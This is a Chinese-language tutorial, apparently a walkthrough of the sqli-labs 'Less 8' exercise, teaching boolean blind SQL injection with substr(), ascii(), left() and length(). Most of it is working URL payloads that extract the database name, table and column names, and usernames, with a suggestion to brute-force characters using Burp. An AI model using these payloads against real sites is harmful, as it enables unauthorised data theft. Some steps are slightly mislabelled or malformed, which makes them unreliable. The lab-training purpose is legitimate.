前言
布尔盲注有很多种函数,如:substr(), ascii(); left()
substr() 函数
用于截取字符串,substr(string,start,length) 函数的 string 为被截取的字符串,start 为起始位置,length 为截取长度。
left() 函数
left(string,num) 函数返回字符串 string 最左边的 num 个字符
ASCII() 函数
返回字符的 ASCII 码值,大致思路是使用 substr() 函数截取数据库名的每个字符,然后判断这个字符的 ASCII 码值。
一,判断字符闭合
因为?id=1' 为假,?id=1' --+为真
?id=1''为真,?id=1'' --+为真
所以可以直接判断less 8 的闭合是单引号。
二,确定列数
还是老样子,order by。就不多说了,这里是3列
三,确定字符长度
?id=1' and select length(database())>n //判断数据库名长度
这里面用到了length函数,来判断库名长度
可以确定字符长度为8
四,获取数据库信息(substr函数)
1,查库名
?id=1' and(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)))>=10--+
我们可以用substr()函数来截取字符串,再外嵌一个ascii()函数把字符串变成数字,用二分法判断字符对应的ascii解码。
可得出库名第一个字母的ascii解为101,在ascii解码表里面对应e,而我们的库名也’emails‘
我们可以改变limit 0,1的0就可以通关报错得知字符长度
这个函数同样可以获取列名
?id=1' and(ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1)))>=1--+
和数据
?id=1' and(ascii(substr((select username from users limit 0,1),1,1)))>=1--+
用left函数获取字母
1,判断字符长度
?id=1' and length((select database()))>=8 --+
以上说明了数据库长度为8,再使用left函数判断字母
2,判断字母
?id=1' and left((select database()), 1)='a' --+
说明了字符第一个字母不是a,我们可以用bp跑一下,就知道是s了
第二字母
?id=1' and left((select database()), 2)='se' --+
第二个字母就要和第一个字母一起查,但是我们知道第一个字母了,可以用bp选择第二个字母就行了